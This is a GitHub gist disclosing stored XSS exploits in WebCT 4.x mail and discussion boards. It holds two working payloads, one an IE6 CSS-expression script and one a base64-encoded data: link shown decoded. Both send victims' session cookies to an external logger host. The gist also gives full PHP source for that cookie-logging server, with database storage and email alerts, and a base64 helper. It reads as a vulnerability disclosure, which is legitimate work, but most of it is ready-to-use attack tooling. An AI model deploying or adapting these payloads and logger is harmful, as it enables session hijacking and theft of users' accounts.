Skip to content

Instantly share code, notes, and snippets.

@balupton
Last active August 2, 2020 15:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save balupton/3cb9a0e066ebb899d2be to your computer and use it in GitHub Desktop.
Save balupton/3cb9a0e066ebb899d2be to your computer and use it in GitHub Desktop.
WebCT 4.x Javascript Session Stealer Exploits

WebCT 4.x Javascript Session Stealer Exploits

Published At

Attack Type

Javascript Session Stealer Exploit.

Description

Mail & Discussion Board messages are not properly checked for javascript, allowing javascript to perform a session stealing attack (allowing the attacker to be logged in as the victim).

Tested On

Attacks were tested fully on eCentral TAFE's WebCT System in November 2005 (with permission of staff), and again on Curtin University's WebCT System in June 2006 (but this time only to see if the javascript will run).

Action Taken

Contacted TAFE lecturers and administrators, who didn't really care. Contacted WestOne multiple times, but never recieved any response. Then contacted Secunia, which would not publish as the discoverer did not own their own copy of the software in question. Published as WebCT is being phased out, with Blackboard being the replacement.

Steps

  1. The attacker publishes the exploit code in a message with "Don't wrap text" enabled.
  2. The victim accesses the attacker's message and their cookies are sent to the attacker's remote logger.
  3. The attacker then logs into the system and replaces his/her cookies with the acquired cookies. Cookies are formatted as follows within the "value" attribute: CookieName=CookieValue; NextCookieName=NextCookieValue;
  4. The attacker is now logged into the system as the victim. In this case the logger is located here: logger.php?pass_code=secret_key

Notes

  • Victims must be students (attack does not work on non students, eg. teachers/admins).
  • Attack 2 will also run in Opera, but fails to retrieve the document.cookie value.
  • Attack 2 uses a base64 encoded javascript which is executed.
  • Both attacks can be customized to allow any javascript to run.
  • Javascript can also be developed to post a mail or discussion board message, this works for all types of victims.

Resources

  • Attack Code: See below
  • Logger: logger.php?pass_code=secret_key&show_source=true
  • Base64 Decoder / Encoder: base64.php
  • Cookie Editor: Firefox - http://editcookies.mozdev.org/ , Opera - Built In

Attack 1 - IE6SP2 Exploit (Automatic)

<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="// balupton's javascript session stealer automatic hack
	var iframe = document.createElement('iframe');
	iframe.style.border = 'none';
	iframe.style.height = '1px';
	iframe.style.width = '1px';
	var url =
		'http'+'://www.balupton.com/sandbox/logger.php'
		+'?variable=document.cookie'
		+'&value='+escape(document.cookie)
		+'&url='+escape(document.location)
		+'&pass_code=secret_key'
		;
	iframe.src = url;
	document.body.appendChild(iframe);">Thank you</div>

Attack 2 - Firefox Exploit (Manual)

<a href="data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLy8gYmFsdXB0b24ncyBqYXZhc2NyaXB0IHNlc3Npb24gc3RlYWxlciBtYW51YWwgaGFjaw0KdmFyIHVybCA9DQoJJ2h0dHA6Ly93d3cuYmFsdXB0b24uY29tL3NhbmRib3gvbG9nZ2VyLnBocCcNCgkrJz92YXJpYWJsZT1kb2N1bWVudC5jb29raWUnDQoJKycmdmFsdWU9Jytlc2NhcGUoZG9jdW1lbnQuY29va2llKQ0KCSsnJnVybD0nK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlciA/IGRvY3VtZW50LnJlZmVycmVyIDogJ2h0dHA6Ly9leHBsb2l0ZWRfdXJsLmNvbScpDQoJKycmcGFzc19jb2RlPXNlY3JldF9rZXknDQoJOw0KZG9jdW1lbnQubG9jYXRpb24gPSB1cmw7DQo8L3NjcmlwdD4=">Click Me!</a>

Attack 2 - Firefox Exploit (Manual) - Decoded

<script type="text/javascript">
// balupton's javascript session stealer manual hack
var url =
	'http://www.balupton.com/sandbox/logger.php'
	+'?variable=document.cookie'
	+'&value='+escape(document.cookie)
	+'&url='+escape(document.referrer ? document.referrer : 'http://exploited_url.com')
	+'&pass_code=secret_key'
	;
document.location = url;
</script>
<?php
$db_config = array(
'user' => 'balupton_sandbox', // your MySQL username
'password' => 'PASSWORD', // ...and password
'name' => 'balupton_sandbox', // the name of the database
'host' => 'localhost', // MySQL Server (typically 'localhost')
);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Base64 Encoder / Decoder</title>
</head>
<body>
<strong>Base64 Encoder / Decoder</strong><br />
<br />
<br />
<form action="base64.php" method="post">
Encode:<br />
<textarea style="width:90%; height:500px;" name="encode"><?php echo isset($_POST['encode']) ? stripslashes($_POST['encode']) : ''; ?></textarea><br />
Result:<br />
<textarea style="width:90%; height:100px;"><?php echo isset($_POST['encode']) ? base64_encode(stripslashes($_POST['encode'])) : ''; ?></textarea><br />
<br />
<br />
Decode:<br />
<textarea style="width:90%; height:100px;" name="decode"><?php echo isset($_POST['decode']) ? stripslashes($_POST['decode']) : ''; ?></textarea><br />
Result:<br />
<textarea style="width:90%; height:500px;"><?php echo isset($_POST['decode']) ? base64_decode(stripslashes($_POST['decode'])) : ''; ?></textarea><br />
<br />
<br />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
# Config
error_reporting(E_ALL);
# Set the headers
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
header( 'Content-Type: text/plain' );
# Database vars
require_once(dirname(__FILE__).'/_db.config.php'); // include $db_config
$db_config['table'] = 'sandbox_logger';
# Connect
mysql_connect($db_config['host'], $db_config['user'], $db_config['password']);
mysql_select_db($db_config['name']);
if ( $mysql_error = mysql_error() ) die($mysql_error);
# Install Table if need be
function mysql_table_exists ( $table_name, $db_name )
{
$tables = mysql_list_tables ($db_name);
while (list ($temp) = mysql_fetch_array ($tables)) {
if ($temp === $table_name) {
return TRUE;
}
}
return FALSE;
}
if ( !mysql_table_exists($db_config['table'], $db_config['name']) )
{ // Table doesn't exist, create it
mysql_query(
'CREATE TABLE `'.$db_config['name'].'`.`'.$db_config['table'].'` (
`id` INT( 11 ) NOT NULL AUTO_INCREMENT,
`data` TEXT NOT NULL ,
PRIMARY KEY ( `id` )
) ENGINE = InnoDB'
);
if ( $mysql_error = mysql_error() ) die($mysql_error);
}
# Get Vars
$pass_code = ( isset($_GET['pass_code']) ? stripslashes($_GET['pass_code']) : NULL );
$notify_email = ( isset($_GET['notify_email']) ? stripslashes($_GET['notify_email']) : NULL );
$url = ( isset($_GET['url']) ? stripslashes($_GET['url']) : ( isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NULL ) );
$ip = $_SERVER['REMOTE_ADDR'] . ( isset($_SERVER['REMOTE_PORT']) ? ':'.$_SERVER['REMOTE_PORT'] : '' );
$time = date('Y-m-d H:i:s');
$show_source = ( isset($_GET['show_source']) ? stripslashes($_GET['show_source']) : NULL );
# Check that the user is authorized
if ( $pass_code !== 'secret_key' )
{ // User not authorized
die('You are not authorized.');
} unset($_GET['pass_code']);
# Show the source
if ( $show_source )
{ // Show it
$source = file_get_contents(__FILE__);
die($source);
}
# Create data
$data = array_merge($_GET, compact('url', 'ip', 'time')); // compact('variable', 'value', 'url', 'ip', 'time');
# Insert if needed
if ( !empty($_GET) )
{
mysql_query('INSERT INTO `'.$db_config['table'].'` (`data`) VALUES ("'.addslashes(serialize($data)).'") ');
if ( $mysql_error = mysql_error() ) die($mysql_error);
//
if ( $notify_email )
{ // Send email if needed
if ( !mail($notify_email, 'LOGGER: A new log entry has occured', var_export($data, true)) )
{
echo 'failed sending email';
}
}
die;
}
# Display
echo 'LOGGER'."\r\n".
'Usage: logger.php?pass_code=secret_key&var=value&notify_email=optional'."\r\n".
'Source: logger.php?pass_code=secret_key&show_source=true'."\r\n".
'======================='."\r\n";
# Display rows
$mysql_result = mysql_query('SELECT * FROM `'.$db_config['table'].'` ORDER BY `id` DESC');
if ( $mysql_error = mysql_error() ) die($mysql_error);
while ( $row = mysql_fetch_assoc($mysql_result) )
{ // Display
$data = unserialize($row['data']);
var_dump($data);
echo "\r\n".'======================='."\r\n";
}
mysql_free_result($mysql_result);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment